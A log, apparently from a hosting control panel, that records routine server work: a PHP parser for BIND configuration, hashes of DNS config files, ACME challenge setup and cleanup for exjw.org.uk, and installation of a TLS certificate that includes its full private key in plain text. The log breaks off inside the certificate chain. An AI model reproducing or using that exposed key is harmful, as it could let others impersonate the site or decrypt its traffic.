		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-05-06 13:49:56: 

runuser -l bind -s /bin/bash -c '/tmp/pkp730033; rm /tmp/pkp730033'

2026-05-06 13:49:56: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 23fffb551d59be1ba6da9a294544c861
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= f9ea658466eb204a08ba64bebb958934
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= f40f6a600e6f86861c8cb4d0f14eea17
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= eebe5ece7f3ba31853415b418c8cf9e1
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= c980bdf14805f6ec8205412031ee5848
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-05-06 13:50:04: Establishing a connection
2026-05-06 13:50:04: Establishing a connection
2026-05-06 13:50:04: 

PUT: /tmp/pkp634878

#!/bin/bash
if [ -d "/var/www/exjw_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-05-06 13:50:04: 

chmod 755 /tmp/pkp634878; /tmp/pkp634878; rm /tmp/pkp634878

2026-05-06 13:50:04: 


1


2026-05-06 13:50:06: Establishing a connection
2026-05-06 13:50:06: 

PUT: /tmp/pkp483474

#!/bin/bash
mkdir -p "/var/www/exjw_www/.well-known/acme-challenge/"
cd "/var/www/exjw_www/.well-known/acme-challenge/"
cat > n8x2Ip0fKfZ58W1dJR0K3Lx3h81_0KMC9Za0EQIo98c <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
n8x2Ip0fKfZ58W1dJR0K3Lx3h81_0KMC9Za0EQIo98c.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 n8x2Ip0fKfZ58W1dJR0K3Lx3h81_0KMC9Za0EQIo98c
cat > 4UKanj20D5NQFmSoeIINi1F1rrsOMwawBKNVDhY348c <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
4UKanj20D5NQFmSoeIINi1F1rrsOMwawBKNVDhY348c.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 4UKanj20D5NQFmSoeIINi1F1rrsOMwawBKNVDhY348c


2026-05-06 13:50:06: 

chmod 755 /tmp/pkp483474; /tmp/pkp483474; rm /tmp/pkp483474

2026-05-06 13:50:06: 




2026-05-06 13:50:15: Establishing a connection
2026-05-06 13:50:15: 

PUT: /tmp/pkp135391

#!/bin/bash
mkdir -p "/var/www/exjw_www/.well-known/acme-challenge/"
cd "/var/www/exjw_www/.well-known/acme-challenge/"
rm n8x2Ip0fKfZ58W1dJR0K3Lx3h81_0KMC9Za0EQIo98c
rm 4UKanj20D5NQFmSoeIINi1F1rrsOMwawBKNVDhY348c


2026-05-06 13:50:15: 

chmod 755 /tmp/pkp135391; /tmp/pkp135391; rm /tmp/pkp135391

2026-05-06 13:50:15: 




2026-05-06 13:50:15: Establishing a connection
2026-05-06 13:50:15: 

PUT: /tmp/pkp756957

#!/bin/bash
temp_file=$(mktemp)
TARGET=7661c45fa1dc2bd7dace8763d6046428.crt

cat > $temp_file <<'endmsg'
7b:be:45:d5:7e:73:34:f3:a9:b7:85:10:72:fe:bd:e7

-----BEGIN CERTIFICATE-----
MIIFADCCA+igAwIBAgISBYHY1yqc5nEXBHZBtToIlu4BMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwNTA2MTI1MTQ0WhcNMjYwODA0MTI1MTQzWjAWMRQwEgYDVQQD
EwtleGp3Lm9yZy51azCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALLE
6TRW+LL+5p5M/Ve3TfAMzj3IOJpEavDWYfzUbZxYlIec/9TeHm5GenDYkdOFjV9R
3OK6s+UIDRAvZTAR6X9lA70+gTiR2YcJU1q4IPGithywrIwImLRr/+eyrdufsRiK
aU6mMhEUDM6pTVUyHtT05fslJbR+6cvYyTxty/rgrSJ4kPk4NhghErYqzN9d0rp9
e7ORphNi0vRg1WkvjTKWCtG8NNF0Z3g3TmGvI5BUu1e+nx/73LlS/yaJpTtp/SR7
rkaTqJgZOiqfRAQUDL/y8bC/Qte0DRWCpj2ESWYgJdaJaunMHNMbvkZqW50uVEAS
uiHbZYA849RuG99V3CsCAwEAAaOCAikwggIlMA4GA1UdDwEB/wQEAwIFoDATBgNV
HSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0GA1UdDgQWBBR9lU1zC/xy
Ey3aZFObDesZe2/PUzAfBgNVHSMEGDAWgBQAtSnyLY5vMeibTK14Pvrc6QzR0jAz
BggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6Ly9yMTIuaS5sZW5jci5v
cmcvMCcGA1UdEQQgMB6CC2V4ancub3JnLnVrgg93d3cuZXhqdy5vcmcudWswEwYD
VR0gBAwwCjAIBgZngQwBAgEwLQYDVR0fBCYwJDAioCCgHoYcaHR0cDovL3IxMi5j
LmxlbmNyLm9yZy8yLmNybDCCAQwGCisGAQQB1nkCBAIEgf0EgfoA+AB+AKgmy+MK
xjUSRlM/4GXxTxnZbhkIE8Qd2W15ALMSPFUnAAABnf2Nr+IACAAABQAJyMscBAMA
RzBFAiBFRcxJSOvTzwCAAZhRDQsKd+fwtYUCVrnFv2k6o5y4CwIhAOSBI+5y/8DX
DmAYltfZ+6PThr0DPbMtiKI5GwgXybsBAHYA1219ENGn9XfCx+lf1wC/+YLJM1pl
4dCzAXMXwMjFaXcAAAGd/Y2vyQAABAMARzBFAiAQajJKst5nVJD95BOQdc4ee4ka
EyutyCNVc6qYO8Q+cAIhAK9DmamLQWO+z73GHRu8bjamdJbPMk/D5QPywnR9L0th
MA0GCSqGSIb3DQEBCwUAA4IBAQCE1jr51gCTBjxmvPuDi6f9zWgXmP4P0G7Xm7L4
NcFUFi6caAaIFGlbAMxskjbiCKFBR/6mu4neqmVHPTUJLlhMi3EjHnjHxnSYi3n5
BsTEbDHy/1eKRgavkv7LYXP/zFm7qRm5smEPznFZS6aauYjwLiK6iwOSAY0Uj9Qt
zG0FRe/BI8kq+xS1OV2/4PnPbsgMV+x4WqGr8vxMuYjCQB6uLAbOWwrE2xFZWux4
TOoXYroRfUxq9SLBylnR4DyZheiLPggFxiY60JOldQzlIk3suSrozlZggNy7HX+t
jGOgarA2l2nA7k0jHDSKomcXpzPRVT5SZLNZWq+A8BPS1E3l
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQCyxOk0Vviy/uae
TP1Xt03wDM49yDiaRGrw1mH81G2cWJSHnP/U3h5uRnpw2JHThY1fUdziurPlCA0Q
L2UwEel/ZQO9PoE4kdmHCVNauCDxorYcsKyMCJi0a//nsq3bn7EYimlOpjIRFAzO
qU1VMh7U9OX7JSW0funL2Mk8bcv64K0ieJD5ODYYIRK2KszfXdK6fXuzkaYTYtL0
YNVpL40ylgrRvDTRdGd4N05hryOQVLtXvp8f+9y5Uv8miaU7af0ke65Gk6iYGToq
n0QEFAy/8vGwv0LXtA0VgqY9hElmICXWiWrpzBzTG75GaludLlRAEroh22WAPOPU
bhvfVdwrAgMBAAECgf8Irc/JKG/F976oOfASv9N2it94aYkxYdfPRyt6rR6lL16Y
7b00vQGYohx0OX0kEOoVSOQnQlbnNVhIcOALB68FNytlBKPTrYorKLZ1jHroZNlN
+PywqyfjUVr2m5GMGBATRYBpmjpBvpLgmjMCXZEhoQtAJh/TETG2Rhk11dWjoXkQ
HVZ3esWH7GoC6t4nIv88ana8UwD8CmsJbm+9LtuSDyhcSwDEznb0czZ+n8/BspwN
ql/fqC0TvCq6cPNHrEprE/AIEQ779VBUQlBeLKz+cd/4QExtqxZyjkEHLrDMo8YE
r7LH3SRB5/X3kaQQUqU4U0oLnBHkCkRwWerRRKECgYEA6eQIRJ1wnO0I/SuepQGb
X2Ga4EKRPEzlLqQbw7/Iyur4VhG+q6wWWI/inR+G8gcc8V8osNSF5G/oh67Vn1dr
F6IOmnCzHkihuigqbHWQZnCEQdi7+HDNK8NJEwBDQ4Wo1m3nyncJ9Kph9PmXDboK
pEBxeJsyR9VcJfgYiNtpuZECgYEAw6r7K8l5IE7MtcdlcuxhM8MjpBc03A8i9Rt2
K5PQK2bAutEw5gjsYFQEuzm910y0qNhvsSpyALUtiGg8HUnqUIC4IzzHJTeUrBzp
EUO3t3BCTwdwhffEtb2d4m8dn0OXpeaEJwMh6s93f2gq0/ttW0D33qwNuxV8YZqg
oTIgu/sCgYEAoZF8hKmdmUnE4962AJZTllf+fNx/J4CW8Nk8tMRPGJ2oXwxzAnQm
G5eJm7Cjr51qSPLLURv+QgdsQg5sU144BGNWYylnEoxp7AbDB5lO3vTq5/GoJ78E
fC6y1AViccprD3VsoVgJ8JGiiW/BASJ7J2u89ut+mFCzDyeLCz9GkYECgYEAqIjg
eVG7TBGzj6tk/X0PKGefjloSxK0g/iAeQ+C4gHmr7f37cVgkScB0ptNQal7+iSSL
5/zYXzWvN3wYs12UPqzwbiGOosbh/vGT6rP6TT2bT7jnuey0+ZmOoZf12tV8jIAm
OfgfwcHbetk9coNxKRWnqptl5EvYa7WlP9MOkPsCgYAtI5CCegrD/lmtVdaO55Q6
mlsqFHQ699JLZi2wC2QdEkPJcwuIMRWd37ip58gD/PJHiEoVcrGyrIo4JgT/k1jB
gyFbBPq03NUzAOM3qTF5icGkTG5GIiYs1up8ZI6ao8blB7PlgaCO9KX9j/MfM4Fd
ftMvqC2+Ia37FHG83O2Ozw==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
